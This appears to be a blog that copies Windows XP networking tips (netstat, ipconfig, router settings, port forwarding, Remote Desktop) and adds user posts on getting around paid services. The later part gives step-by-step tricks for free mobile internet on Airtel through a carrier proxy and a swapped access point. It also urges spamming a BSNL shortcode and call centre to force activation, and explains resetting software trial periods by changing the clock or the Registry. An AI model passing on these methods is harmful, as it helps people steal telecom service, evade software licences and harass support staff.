It will help you know whether connections are live, the network or Internet device to which they're connected, and which local resource is making the connection. It's best suited for when you're troubleshooting network problems and want to find out whether certain ports are open, why certain computers on the network are having connection problems, and similar issues. You can use command-line switches with netstat. For example, display open ports and open connections with this syntax: netstat -a. Table 5-6 lists netstat switches. Table 5-6. Useful netstat switches Switch What it does

-a	Displays all open connections and ports.
-e	Displays Ethernet statistics about packets transmitted and received. Can be combined with the -s switch.
-n	Displays the addresses and ports in numeric, IP address form.
-o	Displays the process identifier (PID) that owns each connection.
-p proto	Displays the connections used by the protocol, which can be IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6.
-r	Displays the network's routing table.
-s	Displays statistics for each protocol. It lists all statistics for all protocols, but you can list only those for a specified protocol if you combine it with the -p switch.
interval value	Runs netstat repeatedly, pausing value seconds between each new display. To stop the display, press Ctrl-C.

5.5.3. Use ipconfig to Troubleshoot TCP/IP One of the most powerful tools for analyzing and troubleshooting TCP/IP problems is the ipconfig command-line utility. It provides information about each of your adapters, including the assigned IP address, subnet mask, default gateway, MAC address, DNS servers, whether DHCP is enabled, and a variety of other data. To see basic information about your adapters, type ipconfig at a command prompt, and you'll see information like this:Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : ne1.client2.attbi.com IP Address. . . . . . . . . . . . : 192.168.1.100 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 PPP adapter {6A724E76-AB59-4ABC-BBF5-41CA4410EB8D}: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 172.165.155.106 Subnet Mask . . . . . . . . . . . : 255.255.255.255 Default Gateway . . . . . . . . . :
As you can see, ipconfig provides basic information about your IP address, subnet mask, default gateway, and a connection-specific DNS suffix, if any. However, you can get much more detailed information by using the /all switch, like this: ipconfig /all. For most troubleshooting purposes, use the /all switch. You get a much more comprehensive listing, as shown here:Windows IP Configuration Host Name . . . . . . . . . . . . : PrestonGralla Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : ne1.client2.attbi.com Description . . . . . . . . . . . : CNet PRO200WL PCI Fast Ethernet Adapter Physical Address. . . . . . . . . : 00-08-A1-00-9F-32 Dhcp Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 192.168.1.100 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 DHCP Server . . . . . . . . . . . : 192.168.1.1 DNS Servers . . . . . . . . . . . : 204.127.202.19 216.148.227.79 Lease Obtained. . . . . . . . . . : Saturday, December 28, 2002 8:53:40 AM Lease Expires . . . . . . . . . . : Sunday, December 29, 2002 8:53:40 AM PPP adapter {6A724E76-AB59-4ABC-BBF5-41CA4410EB8D}: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : WAN (PPP/SLIP) Interface Physical Address. . . . . . . . . : 00-53-45-00-00-00 Dhcp Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 172.165.155.106 Subnet Mask . . . . . . . . . . . : 255.255.255.255 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : 64.12.104.134 NetBIOS over Tcpip. . . . . . . . : Disabled
You can also use ipconfig to release and renew IP addresses, and to perform other troubleshooting functions as well. For example, to renew an adapter's IP address, use this command:ipconfig /renew "adapter name"
where adapter name is the name of the adapter whose IP address you want to renew. Make sure to put quotes around the adapter name and use spaces if there is more than one word in the adapter name. Table 5-7 lists other switches you can use with ipconfig. Table 5-7. Command-line switches for ipconfig Switch What it does

/all	Displays complete TCP/IP configuration information
/displaydns	Displays information from the DNS resolver cache [Hack #49]
/flushdns	Clears the DNS resolver cache [Hack #49]
/registerdns	Refreshes all DHCP leases and reregisters DNS names
/release "adapter"	Releases the IP address for the specified adapter
/renew "adapter"	Renews the IP address for the specified adapter
/setclassid "adapter" newclassid	Resets the DHCP Class ID for the specified adapter
/showclassid "adapter"	Displays the DHCP Class ID for the specified adapter

Speed Up Network Browsing

2008-08-01T04:02:00.000-07:00

Speed up your network browsing by tweaking your Registry. When you use My Network Places to browse for other machines on your network, it usually takes a long time to display the list of shared resources for the target machine. This is because Windows XP first checks for the scheduled tasks on the target machine before listing the shared resources present on the computer.

To schedule a task using Windows XP's Scheduled Tasks, choose Start Programs Accessories System Tools Scheduled Tasks.

This unnecessary checking can easily add 30 seconds of delay. You can decrease the time browsing takes by modifying the Registry to turn off this checking:

Invoke the Registry Editor by typing regedit [Hack #83] at the command line.
Open the following Registry key:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Remote Computer\NameSpace
Delete the following key (the value for it is the Scheduled Tasks, as shown in Figure 5-4):{D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Close the Registry and reboot.

Figure 5-4. Modifying the Registry
That's it! You should now be able to browse to another computer on the network without much delay.

Repair a Broken TCP/IP Connection

2008-08-01T03:59:00.000-07:00

Get back onto the Internet fast if you have TCP/IP woes. TCP/IP problems can be exceedingly difficult to troubleshoot, and at times your TCP/IP connection appears to break for no apparent reason. Everything looks like it should be working, but you're not able to connect using the protocols. If you have a broken connection, try the following:

Try automated repair

Right-click the broken connection in the Network Connections folder and choose Repair.

Run the Network Setup Wizard

It walks you step by step through TCP/IP and network configuration and will correct any errors you might have introduced inadvertently.

Reset your router

If you have a home network, the problem might lie with the router or in the connection between the router and your broadband provider. Follow the directions for resetting the router.

Reset your cable modem or DSL modem

If you have a broadband connection, the problem might lie in the assignment of your IP address by your ISP. Power off your cable modem or DSL modem, unplug its Ethernet cable, and leave it powered off for five minutes. Then restart it. This is also a good time to reset your router. You can also try releasing and renewing after you've turned the connection back on.

Reset TCP/IP to its original configuration

If all else fails, you can try to reset your TCP/IP stack to the same state that it was in when XP was first installed on the computer. Use the NetShell utility [Hack #52] . Issue this command: netsh int ip reset [log_file_name], where log_file_name is the name of a file where the actions taken by NetShell will be recorded.

Get a new Ethernet cable

Your old cable might be nicked, the connector might be loose, or mice might have nibbled on it.

Renew Your DHCP-Assigned IP Address

2008-08-01T03:57:00.000-07:00

Sometimes, while assigned an IP address by a DHCP server, your PC doesn't appear to be on the network and you can't get Internet or network access. Renewing your IP address often solves the problem. If you're on a network but you can't send or receive data, use any network resources, or visit the Internet, the culprit might be a problem with your DHCP-assigned IP address. The simplest way to fix it is to renew the IP addressget rid of the old one, and ask the DHCP server to send along a new one. Before trying this, first make sure you're using a DHCP-assigned IP address rather than a static one. Right-click My Network Places and choose Properties to get to the Network Connections folder. Right-click your current network connection and choose Properties. On the General tab, select Internet Protocol (TCP/IP) and choose Properties. On the General tab, the radio button next to "Obtain an IP address automatically" will be selected if you're using DHCP. After you've confirmed you're using DHCP, release your current IP address by typing ipconfig /release at a command prompt. The ipconfig command is an all-purpose command that lets you solve many network-related problems [Hack #52] . To renew the address and get a new IP address from the DHCP server, type ipconfig /renew at a command prompt. Your new IP address should fix the problem. To find your new IP address, type ipconfig at a command prompt. You can also select your connection in the Network Connections folder, click "View status of this connection," and click the Support tab. You'll see the screen shown in Figure 5-5, which shows your new IP address and confirms that it was assigned by a DHCP server. Figure 5-5. Confirming that you've gotten a new IP address

Optimize Your Home Router

2008-08-01T03:52:00.000-07:00

Home routers let you share broadband Internet access and build a home network. Here's how to get the most out of your router. It's quite easy to set up an inexpensive router for a home network. But the default settings aren't always optimal because no network is one-size-fits-all. And frequently, the documentation for the routers is so poor that it's hard to tell what the settings are and what options you have. Home router options differ somewhat from model to model. Here's advice for how to customize the most common and most important settings:
Connect on Demand and Maximum Idle Time settings Depending on your ISP, you might become disconnected from the Net after you haven't used the Internet for a certain amount of time. To solve the problem, if your router has a Connect on Demand setting, enable it; that will automatically reestablish your Internet connection when you use an Internet service, even if your ISP has cut you off. If there is a Maximum Idle Time setting, set it to 0 so that your router will always maintain an Internet connection, no matter how long you haven't used the Internet. As a practical matter, you should need to use only one of these two settings; either one will maintain a constant Internet connection for you.
Keep Alive setting Use this setting to maintain a constant Internet connection, even if your PC is idle. It's similar to the Connect on Demand and Maximum Idle Time settings, except that it doesn't let your connection disconnect, so it is an even better setting to enable, if your router has it.
Router Password Your router requires a password for you to use its administrator account. It comes with a default password. For example, Linksys routers come with a default password of admin. Change the password for maximum security.
Enable Logging For security reasons, it's a good idea to enable logging so that you can view logs of all outgoing and incoming traffic. Depending on your router, it might save permanent logs to your hard disk or allow only the viewing of temporary logs. You might also be able to download extra software from the manufacturer to help keep logs. For example, Linksys routers use temporary logs, but if you want to save permanent logs, you can download the Linksys Logviewer software from http://www.linksys.com. You can view logs using a text editor, like Notepad, or a log analysis program, such as the free AWStats (http://awstats.sourceforge.net). 5.3.1. Special Hub/Router Settings for DSL Access If you have DSL access, you might need to customize your router's settings to provide your network with Internet access; sometimes the router's settings block Internet access. Here are the settings you'll need to change so that you can get onto the Internet:
PPPoE (Point to Point Protocol over Ethernet) Some DSL ISPs use this protocol when offering Internet access. By default, this protocol is disabled on routers because it's normally not required for Internet access. However, if you have DSL access, you might need to enable it in your router.
Keep Alive setting Some DSL ISPs will automatically disconnect your connection if you haven't used it for a certain amount of time. If your router has a Keep Alive setting, enable it by clicking the radio button next to it; this will ensure that you are never disconnected.
MTU (Maximum Transmission Unit) As a general rule, DSL users should use a value of 1492 for their MTU. The MTU sets the maximum size of packets a network can transmit. Any packets larger than the MTU setting will be broken into smaller packets. DSL ISPs often set the MTU to 1492, so if you set a packet size larger or smaller than that, you might slow down Internet access.

You should also check with your DSL provider, as these settings can vary somewhat from provider to provider.

5.3.2. Settings for Using a VPN If you use a Virtual Private Network (VPN) [Hack #82] to connect to your corporate network from home and you use a router, you might run into difficulties and not be able to connect to the VPN. Some routers, such as those from Linksys, are specifically designed to work with VPNs and have specific setup screens for them; if you have one of those, you shouldn't have any problems. Make sure to get the proper encryption, authentication, and similar information about the VPN from your network administrator, and then use those settings for the VPN setup screen in your router. However, you might run into problems running a VPN with a router that doesn't have specific VPN settings, even if the device claims it will work with VPNs. In particular, one default setting, hidden fairly deeply in most router setup screens, can disable VPN access; some routers, such as those made by Linksys, include an option called Block WAN Request. By default, this option is enabled and blocks requests into the network from the Internet; for example, it stops ping requests into the network. However, enabling this option also blocks VPN access. VPN access requires that requests get into the network from the Internet, so if you block those requests the VPN won't work. If you have a Linksys router, disable this setting by logging into your administrator's screen, choosing Advanced Filters, selecting Disable Block WAN Request, and clicking Apply. For other routers, check the documentation. VPNs use a variety of protocols for tunneling through the Internet, such as IPSec and the Point-to-Point Tunneling Protocol (PPTP). Make sure these settings are enabled on your router if you want to use it in concert with a VPN. 5.3.3. Enable Specific Internet Services: Port Forwarding Residential routers often use Network Address Translation (NAT), in which the router's single, external IP address is shared among all the computers on the network, but each computer has its own internal IP address, invisible to the Internet. For example, to the Internet each computer looks as if it has the address of 66.32.43.98, but internally they have different addresses, such as 192.168.1.100, 192.168.1.101, and so on. The routers have built-in Dynamic Host Configuration Protocol (DHCP) servers that assign the internal IP address. These internal IP addresses allow the PCs to communicate with each other and to connect to the Internet, and they also offer protection to PCs on the network. To the rest of the Internet, each PC has the IP address of the router, so each PC's resources can't be attacked or hijackedthey're invisible. The router itself doesn't have resources that can be used to attack your PCs, so you're safe. But if you have servers on your network that need to provide Internet-related services (perhaps you have an FTP or web server), or if you need to allow certain PCs to be connected to the Internet for specific purposes (such as for playing multiplayer games), you'll run into trouble because they don't have IP addresses that can be seen by the rest of the Internet. However, with this trick, you can use your router to forward incoming requests to the right device on your network. For example, if you have a web server, FTP server, or mail server and you want people to be able to connect to them, you'll be able to route incoming requests directly to those servers. PCs on the Internet will use your router's IP address, and your router will then route the requests to the proper device on your network. Normally, the devices would not be able to be connected to because the IP addresses they are assigned by the router are internal LAN addresses, unreachable from the Internet. Not all routers include this capability.To use this feature in a Linksys router, log into your administrator's screen and choose Advanced Forwarding to get to the screen shown in Figure 5-1. Figure 5-1. Forwarding incoming requests to the proper server or device
When this feature is enabled, the router examines incoming requests, sees what port they're directed to (for example, port 80 for HTTP), and then routes the request to the proper device. Fill in each device's IP address, the protocol used to connect to it, and the port or port range you want forwarded to it. It's also a good idea to disable DHCP on each device to which you want to forward requests and instead give them static internal IP addresses. If you continue to use DHCP instead of assigning them a static IP address, the IP addresses of the servers or devices might change and would therefore become unreachable. Check your router's documentation on how to force it to assign static IP addresses to specific devices. Table 5-1 lists port addresses for common Internet services. For a complete list of ports, go to http://www.iana.org/assignments/port-numbers. Table 5-1. Common Internet TCP ports Port number Service

5.3.4. Cloning a MAC Address for Your Router There once was a time when cable companies banned home networks, or when they charged extra when you ran one at home. The theory was that because you were using so much extra bandwidth for multiple computers, you should be charged extra. Thankfully, those days are goneor at least they should be. If you're one of the unlucky few who has a cable or DSL company that charges extra for a home network, there's something you can do to get around the problem. This hack will help with that, and it will help if you have a cable or DSL provider that requires that you provide the Media Access Control (MAC) address of your network adapter for your connection to work. If you had a single PC when you began your broadband service, but you've since installed a router at home to set up a network and share Internet access among several PCs, you'll have to provide the ISP with your new router's MAC address. There is a way to use your existing MAC address with your new router by cloning the address. To your ISP, it looks as if your MAC address hasn't changed. You might want to do this even if your cable provider doesn't charge extra for several PCs because it will save you from having to call up the cable company's tech-support line to provide a new MAC address. Note that not all routers have this capability, so yours might not be able to do it. Most Linksys routers let you do this, so if you have a Linksys, do the following to clone your MAC address. Depending on your model, the exact steps might vary:

Find out your current network adapter's MAC address (the MAC address your broadband provider already has) by opening a command prompt, typing ipconfig /all, and looking under the entry for "Ethernet adapter Local Area Connection." You'll see an entry like this:Physical Address. . . . . . . . . : 00-08-A1-00-9F-32
That's your MAC address.
Log into your administrator's screen for the Linksys router and choose Advanced MAC Addr. Clone. A screen similar to Figure 5-2 appears. Figure 5-2. Cloning an existing MAC address
Type in the name of the MAC address you've obtained from your network adapter and click Apply. Your router will now be recognized by your ISP. Note that you might have to power down your cable modem and then power it back up for the router to be recognized.

If your ISP requires a MAC address and you don't clone an existing one, you'll have to provide your ISP with your router's address. Make sure you give them the right one. Your router typically has two MAC addresses, a LAN MAC address and a WAN MAC address. The LAN address is used only for the internal network, so make sure to provide your ISP with the device's WAN MAC address. If you give the LAN address, you won't be able to access the Internet.

5.3.5. Manage Your Network's Bandwidth There's one problem with home networks that share a single Internet connection: one PC can hog all the bandwidth. For example, if someone in your house uses file-sharing software, that can suck up just about all of a network's spare bandwidth, and everyone else who's connected might see their connections slow to a crawl. There's a simple answer for the problem. Use software that will limit the bandwidth that any single PC on your network can use. So, if you have a 3-megabit-per-second connection, you could limit any PCs to .5 megabits per second, for example. That way, anyone can still share files with others at a reasonable rate, but still let others get high-speed connections. NetLimiter (http://www.netlimiter.com), shown in action in Figure 5-3, is a great program for doing this. Figure 5-3. Setting bandwidth limits on a PC-by-PC basis on your network with NetLimiter
Not only will you be able to set bandwidth limits per PC, but you'll also be able set upload and download transfer rates for individual programs on a PC. So, you could give more of an individual PC's bandwidth to file sharing, for example, and less to email. NetLimiter is shareware; you can try it out for free, but after 28 days, you're expected to pay $29.95 to the developer.

Make Servers Always Available by Mapping a Hostname to a Dynamic IP Address

2008-08-01T03:48:00.000-07:00

Make sure the web site or other kind of Internet server you run at home is always available to the world. If you run your own web server, mail server, or other kind of server at home and are connected to the Internet via a cable modem or DSL modem, people frequently might not be able to connect to your server. That's because, typically, broadband ISPs assign you a dynamic IP address that changes regularly, even if you don't turn off your PC. Because your IP address constantly changes, there is no way for people to connect to you. One day its IP address might be 66.31.42.96, the next it might be 66.41.42.136, and if people don't know your server's current IP address they won't be able to find it. You won't be able to solve the problem by getting your own domain (such as www.gralla.com) and publishing that because DNS servers won't be able to keep track of your changing IP address either. If people type in your domain name, the servers won't be able to report on your IP addressand again, your server won't be able to be reached. There is a way to solve the problem, however: you can map your server's hostname to a dynamic IP address. When you do this, it doesn't matter that your IP address changes; when people type in your web site's URL, they will be forwarded to your new IP address automatically. You can do this for free by signing up with a service that provides automatic mapping. A number of services will do it for free, such as No-IP.com (http://www.no-ip.com). When you sign up for the service, you choose a hostname for your server and give that hostname out to people who want to connect to the server. Whatever name you choose will end in .no-ip.comfor example, grallasite.no-ip.com. After you get your hostname, you download client software that continually monitors your IP address. It reports on your server's current IP address to the No-IP.com site. Whenever the IP address changes, it reports that new IP address to the site. The client checks your IP address every three seconds. Whenever a PC tries to connect to your server, it first goes to a No-IP.com server, which looks up your server's current address and then redirects the PC to your server, based on your current IP address. The person contacting your site will not have to do anything different from what he normally does; he just types in your URL and is connected to your site. If you own a domain and want to map that hostname to a dynamic IP address instead of using a No-IP.com address, you'll have to sign up for No-IP.com's No-IP Plus service for $24.95 a month. If you're using a router at home to share Internet access among several PCs, you might run into problems using the service. Many routers use NAT, in which all PCs on the network share a single external Internet address but are assigned internal network addresses. The No-IP.com client will track your external address, but because that single address is used by all PCs on the network, not just the server, incoming traffic won't be routed to your server. You can fix the problem by using the port forwarding feature of your router to send the incoming traffic to the server [Hack #50] . You might run into another problem as well: when you try to test your server by connecting to it from a PC inside your network, you might not be able to connect to it. That's because you might not be able to connect to the external IP address from inside the network. If this happens, the only solution is to connect to the site from a PC outside your network or ask a friend to connect to it. One more thing to watch out for: if you're behind a firewall, the No-IP.com client might have trouble connecting back to the No-IP.com site to report on your changing IP address. If you're using a firewall like ZoneAlarm [Hack #78] or a similar one that blocks outbound connections, tell it to allow the client to make outbound connections. Also, depending on the firewall you use, you might need to configure it to open TCP port 8245 because that's the port the client uses to contact No-IP.com with your new IP address.

Control Another PC with Remote Access

You can control a computer virtually moving its mouse and typing on its keyboardover the Internet, using either Windows XP's built-in features or a third-party program. When you are at work, wouldn't it be nice if you could log on to your home computer to check your email or find a file you took home? How about using your home or office desktop computer from your laptop on the road? You can use a remote control program to use another computer over the Internet, viewing its screen on your screen and giving commands via your mouse and keyboard. Windows XP comes with a feature called Remote Desktop, or you can use a third-party program. Windows Messenger [Hack #97] also enables people who are chatting to share control of each other's computers. The computer you will control is called the remote server, and the computer you are actually sitting in front of is the remote client. Windows XP comes with a remote client program (Remote Desktop Connection), and Windows XP Professional comes with a remote server (Remote Desktop) that works with one client at a timethat is, one computer can "take over" your computer remotely (with luck, it'll be you doing the takeover!).

Remote Access Server (RAS) on Windows NT or 2000 servers and the Routing and Remote Access utility on Windows Server 2003 both act as remote servers that allow multiple remote clients to connect.

Windows XP Home Edition can't act as a remote server; if you need to be able to access a Home Edition system remotely, you need to upgrade to Windows XP Professional or use a third-party program. We recommend VNC, the small, free, open source program available at http://www.realvnc.com. 5.7.1. Configuring the Windows XP Remote Server If you want to be able to control your Windows XP Professional system remotely, set it up as a remote server. Using an administrator user account, choose Start Control Panel Performance and Maintenance System (or press the Windows-Break key), click the Remote tab, select the "Allow users to connect remotely to this computer" checkbox in the Remote Desktop section of the tab to enable incoming connections, and click Select Remote Users if you want to control which user accounts can be used by remote clients. (Windows automatically allows connections from the current user, along with all user accounts in the local Administrators and Remote Desktop Users groups.) Normally, remote clients connect to the server via a local area network or a permanent Internet connection. However, you can also configure the remote server to accept incoming phone calls if you have a dial-up modem. Create a dial-up connection that accepts incoming calls by running the New Connection Wizard (click "Create a new connection" from the task pane in the Network Connections window). Choose "Set up an advanced connection" as the Network Connection Type, choose "Accept incoming connections," choose your modem, choose whether to accept VPN connections [Hack #82], and choose which user accounts the incoming connection can connect to. Firewalls usually refuse remote access connections [Hacks #Section 8.4 and Section 8.5], so if you want your remote server to be accessible from the Internet, you need to open a port in your computer's firewall. Remote Desktop uses port 3389. If you use Windows XP's built-in Windows Firewall, display the Network Connections window, right-click the Internet connection, choose Properties from the shortcut menu, click the Advanced tab, and click Settings to display the Advanced Settings dialog box. Click the Remote Desktop checkbox; if the Service Settings dialog box appears, just click OK.

If you want to change the Remote Desktop server port to a number other than 3389 (perhaps to decrease the likelihood of hackers breaking through it), see the Microsoft Knowledge Base Article Q187623 (at http://support.microsoft.com, type the article number in the "Search the Knowledge Base" box).

When you connect from your remote client (described later in this hack), you need to provide a domain name or IP address. If your computer connects via a dial-up, DSL, or cable connection, its IP address changes each time you connect, and the computer doesn't have a domain name. One solution is to have someone at the remote server display the Network Connections window, right-click the Internet connection, choose Status from the shortcut menu, click the Support tab, and call, IM, or email you with the IP address that appears. However, this solution is no good if no one is available to do this. Instead, you can sign up for a dynamic DNS service [Hack #55] at http://www.dyndns.org or http://www.tzo.com. The dynamic DNS service at DynDNS.org gives you a free domain name in the form .dyndns.org (they offer several dozen domain names to which you can add your name). TZO.com provides a subdomain at .tzo.com for $25 per year. You install a small utility on your computer that automatically tells the dynamic DNS whenever your computer's IP address changes. One final configuration note: when a client connects to your server via Remote Desktop, the user logs into one of the Windows XP user accounts. You can't log into accounts that have no password. Choose which account you plan for remote users to log into, and give it a password. 5.7.2. Setting Up the Remote Client To set up the remote client software that comes with Windows XP, connect to the Internet and then choose Start All Programs Accessories Communications Remote Desktop Connection. (If it's not there, you need to install it from your Windows CD.) In the Remote Desktop Connection window, type the domain name or IP address of the server computer and click Connect. Log on with the Windows XP user account and password for the remote server. Your computer screen now shows what's on the screen of the server computer. A connection bar appears as a button on the screen, showing the IP address of the remote server, along with Minimize, Restore, and Maximize buttons you can use to resize the remote client window. Once you're connected, you can cut and paste information from the remote client window to other windows. You can also use local files in your remote session; your local disk drives appear in My Computer (Windows Explorer). When you print from the remote client, the print job goes to your default local printer, not to the printer on the server.

Airtel Hack for free internet

2008-08-01T02:00:00.002-07:00

These are all the tricks i know so far

~cheers~

You need a PC or a Laptop and the required connectivity tools ,ie.,
Serial/USB cable OR Infrared Device OR Bluetooth dongle

1) Activate Airtel Live! ( It’s FREE so no probs)

2) Create TWO Airtel gprs data accounts (yep TWO) and select the
FIRST as the active profile.

3) Connect your mobile to the PC (or Laptop) and install the driver for
your mobile’s modem.

4) Create a new dial-up connection using the NEW CONNECTION
WIZARD as follows

Connecting Device : Your mobile’s modem
ISP Name : Airtel (or anything you like)
Phone Number : *99***2# / Try 99***1
Username and Password : blank

5) Configure your browser and download manager to use the proxy
100.1.200.99 and port 8080.( My advice is to use Opera since you
can browse both wap and regular websites)

6) Connect to the dial-up account. You will be connected at 115.2
kbps (but remember, that is a bad joke).

7) Pick up your mobile and try to access any site. You will get “Access
Denied…”(except for Airtel Live!). IT DOES NOT MATTER.
Keep the mobile down.

8 ) On the PC ( or Laptop) open your browser, enter any address ,
press ENTER and…….WAIT

9) After a few seconds the page will start to load and you have the
WHOLE internet at your disposal. ***************************************************************************************************************

Requirements:
1. Airtel live (available 4 free)
2. Nokia series60 handset eg 6600,6630,n series,7610,6670 etc
3. Opera wap browser 4 mobile
Procedure:-

1. Go to ur connection settings and make a new internet profile using the default settings of airtel live. name that new profile as nething(for eg masala); change the home page of that profile to nething u like for eg www.google.com.

2. Go to ur Opera browser and set the default connection as AIRTEL LIVE. this is the original settings u received thru airtel.

3. Go to the services(in n6600) and Web(N6630) and change the default profile for connection as masala (newer one).

**Note: always make sure that ur access point is airtelfun.com

Apply:-

1. Open Opera and u will see that homepage of Airtel Live is opened. Minimize the application.

2. Now open web using the duplicate Profile and u will see that two gprs connections will work simultaneously and at the web or the services page it will show "Unable to connect" or any error. well thats the signal of ur success.

3. Simply go on the Opera with web on and open any site u want for free. No Charges No nothing.

U can also use it through ur computer..........

someone said dis too

The main principle behind this is we hav 2 fool the bsnl techies 2 activate portal and thus get gprs activated / get "G" signal on ur cell as bsnl portal (wap.cellone.in) needs "gprs signal on ur cel (whether gprs is formaly activated/registerd or not (by my method )i dont know)

NORMALLY THEY DONT DO THAT INSPITE OF THE FACT THAT THEY SHOULD ACTIVATE GPRS SIGNAL SERVICE FOR PORTAL!!!
AND THEY WILL GIVE U NO OF REASONS----
---THAT portal is message based , so go to cellone icon in menu and use that sms based portal (what the f**k)
---THAT portal service will be activated when u will activate gprs by filling up form and registering at nearest CCN!!
---THAT ur handset has some problems (if u say that "G" signal is not present)
----etc,etc!!

U HAVE 2 ACTIVATE PORTAL FIRST WHICH IS FREE AND U CAN EAT UP CC'S FOR THIS REASON!!
SO WHAT U HAV 2 DO IS--
1) SEND PORTAL to 3733 AND CONFIRMATION SHD COME WITH 5 MIN AT-MAXIMM !!
2) SEND FOR ATLEAST 20-30 TIMES (CAN B ANY MORE THAN THAT)
JUST S**K UP THE NETWORK(3733) WITH THESE MESSAGES !!!
THAT'S FREE NO!! BOTH ON POST AND PRE!!
3) NOW ALONG ALSO SEND 20-40 SMS AS GPRS TO 3733
(NO OF SMS DIRECTLY PROPORTIONAL 2 HATE FOR BSNL AND HOW EARLY U WNAN GET UR GPRS ACTIVATED) this is also free both on post and pre!!
4) U WILL GET CONFIRMATION IN BOTH CASES AND MSG TELLS U 2 GET SETTINGS FROM 9400024365, THE NO OF CC!!
HERE AT MY PLACE I CAN DIAL 9419024365 ALSO!
BOTH R TOLL FREE AND BOTH R LOCATED IN CHANDIGARH!!!
(((((((AND SOME OF THE CC'S SAY they cant give such sensitive information that where they r located, as if thay have a 3 rd world of their own! and the other dumbs said that they r in chandigarh!!!!)))))

I WOULD ADVISE ALL FIRST, 2 call them once 2 get the settings!!
(most of the times that is incorect but gives u an idea of settings in ur area))
Try and in ur 1 st call only,
talk roughly and tell them u r calling 10-20th time just for settings and is that their service!!!
5) Now when u get them save them AND plz post them here!!!
6) now GET ATLEAST 2-3 COMPLAINTS REGISTERED( each after 1 day) THAT UR PORTAL HAS NOT ACTIVATED AND GET THEIR SERIAL NO.
and in the end bombard them abt the status of all those complaints !!
b4 registering ur complaint they will hesitate much and always say taht they will b sendin new settings which r accurate! but dont belive them and just register complaints!!
6)AFTER THAT, u have 2 only wait until "G" signal is there on ur screen!!

LOOK, WHAT I HAVE WRIITEN ABV IS METHOD by which i got activated my "G" service !!! without fillin any form or such and without any money drain!!
may be since it bypasses the formal way of registeration, that is why this trick is working !!!!!!!!!!!!

U may also Try this

first open ur msg window and type LIVE and send it to 2567 so that after 5 min u get the setting of Airtel Live or if u have already no need for this procedure.
now then open that setting and copy all the settings from it and create one access point manually which has all the settings like Airtel Live has.
now only one change will be there and it would be in access point name which is "Airtelmms.com" instead of originally "Airtelgprs.com".
ok u've done it just active that setting and access free airtel gprs on ur phone.

a recent comment says dat

Guys i tried and its working, I'm using airtel chennai,..the Method TWO worked, also i request everyone to change the Phone number from *99***2 to *99***1 and its working,.. it'll get connected at 462.8kbps but its the speed between the phone and your computer but actual BAndwidth is 42kbps

How would you like to be able to download software intended to be used on a free trial basis and use it indefinitely without cost never to expire? Well, there is a way you can take any free trial download and use it free for as long as you please. System Mechanic 6 Pro 30 day free trial then 69.95
Get it Free forever Kaspersky Anti-Hacker
Get it Free with System Mechanic Pro
Smart Protector Pro 15 day free trial then 39.90
Get It Free forever All you have to do is set your clock to some date in the distant future using adjust/date/time in Windows, download your free trial software, run the program once and rollback your time setting to the current date. After you’ve run the program for the first time, the Windows registry will be loaded with a Free Trial Key reflecting an expiration date that you’ve predetermined, and your good to go. Another roundabout way to do this after a trial has already expired would be to bring up the Registry Editor in Windows, find the trial key and delete it. Then download the program again and start the free trial period over. This is pretty easy to do, but if you’re using alot of free trials you may find it to be a hassle editing registers and downloading programs over again everytime one expires. Its much easier to simply adjust your date/time to 2009 or something, download your free trials, rollback to the current date and enjoy them for the next 3 years or so hassle free. By the way I’ve found that when doing this I’m still able to get the notifications when updated versions come along, and download them with no problem. The above screenshots are just 3 examples of the many programs that I’ve been doing this with for an extended time. If your the geek type, manipulating the dates in the registers will also work. Do some experimenting and see what you can find, there are tons of possibilities, and this is something you can have alot of fun with.
